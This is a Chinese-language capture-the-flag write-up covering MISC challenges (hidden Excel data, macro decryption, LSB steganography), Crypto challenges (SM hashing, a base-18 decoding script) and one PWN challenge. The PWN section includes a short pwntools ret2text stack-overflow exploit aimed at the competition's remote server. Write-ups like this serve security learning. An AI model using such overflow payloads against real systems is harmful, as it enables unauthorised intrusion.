MISC

学会Office

  • 题目描述:做网络安全也要会办公软件的,附件是给了个Excel表格
  • 点击查看Excel表格,看见有数据被隐藏

image-20240630154902125

  • 之后查看横纵坐标,发现横坐标的字母顺序跳了一个,直接把他展开

image-20240630154943913

  • 展开后得到如下图所示

image-20240630155002103

  • 然后设置宏加密

image-20240630155043696

  • 然后点击选项

image-20240630155102025

  • 点击自定义功能区

image-20240630155129391

  • 新建选项卡,然后自定义宏加解密

image-20240630155208972

  • 然后再主界面就会出现如下所示

image-20240630155238676

  • 选中flag,进行宏解密

image-20240630155320989

  • 解密完,flag顺序不对,然后再根据计算机的成绩降序排序,即可得到正确的flag

flag{jisuanjichengjijuedingbisaipaiming}

  • 题目给了一张logo图片,是LSB隐写
  • 可以使用Zsteg和随波逐流一把梭

一个比StegSolve更方便的工具—zsteg-CSDN博客

  • 装完zsteg之后一把梭,直接出来

image-20240630092409118

flag{zhss_c79a_Ccp7_4Zc9}

  • 也可以使用随波逐流一把梭出来

image-20240630092755812

出题人的上网流量*

我变个样就不认识我了*

gogogo*

  • go语言

空白*

  • sown隐写

我不是二维码*

Crypto

学会SM

image-20240630084817720

  • 直接在线网站运算就行

image-20240630085216321

flag{a88a5d3b7c7721d307a29c0d959950ac921ac7da00a436c6faad3b94e16615c5}

我的进制我做主

  • 今天看到这题的wp属实没蚌住,只能说我题做少了,思路没问题就是中间环节错了

思路再现

  • 一开始看到题目简介,要有自己的进制,就想到应该是不同于2进制、8进制、10进制、16进制的其中一个进制
  • 然后查看给的附件
1
ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgccndcfqfpgcgofofpdadadagr

image-20240624174602919

  • 将出现的字母都写出来,并按照字母表排序,可以得到如下字母,一共十七个字母,少了字母i
1
a  b  c d e f g h  j k  l  m  n  o  p  q  r
  • 一开始以为是十七进制,然后用1-17去替换,再大整数转字符串,结果不对
  • 然后又想到缺少了i,有可能是18进制,然后再用1-18去替换,结果不对

正确做法

  • 18进制, a-r映射到0-9 a b c d e f g h正确的18进制映射
  • 然后编写脚本,先进行映射,然后再两个为1组分开,以18进制转整型,再转成相应ascii码对应的字符,即可得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
a = 'ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgccndcfqfpgcgofofpdadadagr'
b = ''
flag = ''
for i in a:
if i == 'a':
b += '0'
if i == 'b':
b += '1'
if i == 'c':
b += '2'
if i == 'd':
b += '3'
if i == 'e':
b += '4'
if i == 'f':
b += '5'
if i == 'g':
b += '6'
if i == 'h':
b += '7'
if i == 'j':
b += '9'
if i == 'k':
b += 'a'
if i == 'l':
b += 'b'
if i == 'm':
b += 'c'
if i == 'n':
b += 'd'
if i == 'o':
b += 'e'
if i == 'p':
b += 'f'
if i == 'q':
b += 'g'
if i == 'r':
b += 'h'
print(b)
for j in range(0,len(b),2):
flag += chr(int(b[j:j+2],18))
print(flag)
You win! flag{heidun18jinzhi666}

源码和数据都要保护*

PWN

  • pwn只有一题,看见exe后缀,当时还吓了一跳,怎么来个windows的pwn,结果是虚晃一枪,就是ret2text

licensePWN

解题思路:

  • 先运行一下程序,发现是要输入一个hex字串

image-20240622105400409

  • 然后再下载附件,使用IDA打开,发现之前要求输入的hex字符串是保存在一个文件之中,然后读取文件调用图中compare

image-20240622105443482

  • 接下来查看compare函数,发现用个strcpy这个漏洞函数,可以导致栈溢出到返回地址

image-20240622105639840

  • 再接下来查看图中名为flag的函数,发现flag函数就存储在一个文件中,然后程序会调用函数将flag打印出来

image-20240622105733364

  • 所以思路就是利用栈溢出到ret2text到flag这个函数

相关代码

1
2
3
4
5
6
from pwn import *
context(arch='i386',os='windows',endian='little',log_level='debug')
p = remote('112.50.92.5',20123)
payload = b'31323334353637'+b'414141414141414141414141414141414141414141' + b'401340'
p.sendlineafter(b'(Hex string):',payload)
p.interactive()

flag截图

image-20240622105953051